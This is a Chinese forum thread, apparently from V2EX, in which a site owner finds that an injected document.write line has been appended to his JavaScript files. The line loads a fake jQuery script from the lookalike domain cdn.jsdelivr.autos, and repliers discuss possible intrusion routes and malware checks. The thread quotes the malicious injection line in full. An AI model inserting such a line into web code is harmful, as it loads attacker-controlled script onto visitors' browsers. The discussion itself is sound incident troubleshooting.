这是被挂了什么代码

[jalen]

document.write(unescape("%3Cscript src='https://cdn.jsdelivr.autos/npm/jquery/dist/jquery.min.js'%3E%3C/script%3E"));

把加载的 js 最后全加了这个。

[QUC062IzY3M1Y6dg]

就是给网页添加了 jquery 库的引入标签，不过这样写的话，整个页面都废了全部被覆盖。

[jalen]

@shuxhan #1 我就是被挂了木马了。 文件被修改了

[kenvix]

打开 https://cdn.jsdelivr.autos/npm/jquery/dist/jquery.min.js 显然这不是正常的 jquery 而是假装 jq 的马

[jalen]

@kenvix #3 这种情况大概率是怎么植入的，我现在不知道怎么防

[illl]

被 getshell 了吧，网站用的啥框架

[mxT52CRuqR6o5]

那可能性可多了

[edis0n0]

@kenvix #3 这个伪装不太行，以前我见过的伪装 jq 的马空 referrer 的时候都能返回真 jq

[r4aAi04Uk2gYWU89]

@jalen 如果博客开了评论，检查下 xss 。不过所有页面都有加的话，估计 webshell 早拿到了

[learningman]

头一回见到 autos 这个顶级域

[wingor2015]

遇到过一次是服务器上的代码被加了

[jalen]

我看了自己的文件 就 js 被修改过，也没有新增文件。服务器也没被闯入的痕迹。 这攻击点会在哪里？

[hxy100]

这个域名也很有迷惑性，仿知名 CDN 的域名 jsdelivr.com

[MEIerer]

我好久没中过木马了，现在装东西看见内存小的都会往哈勃测一下

[jalen]

@MEIerer #13 哈勃?什么东西

[Trient]

@jalen https://habo.qq.com/tool/index

[siwi]

找到问题所在了吗？ 我也是被挂了这个链接

[jalen]

@siwi 我不知道问题出在哪里， 反正就先删了 js 。 是不是 ftp 被干了，因为服务器没看到被破。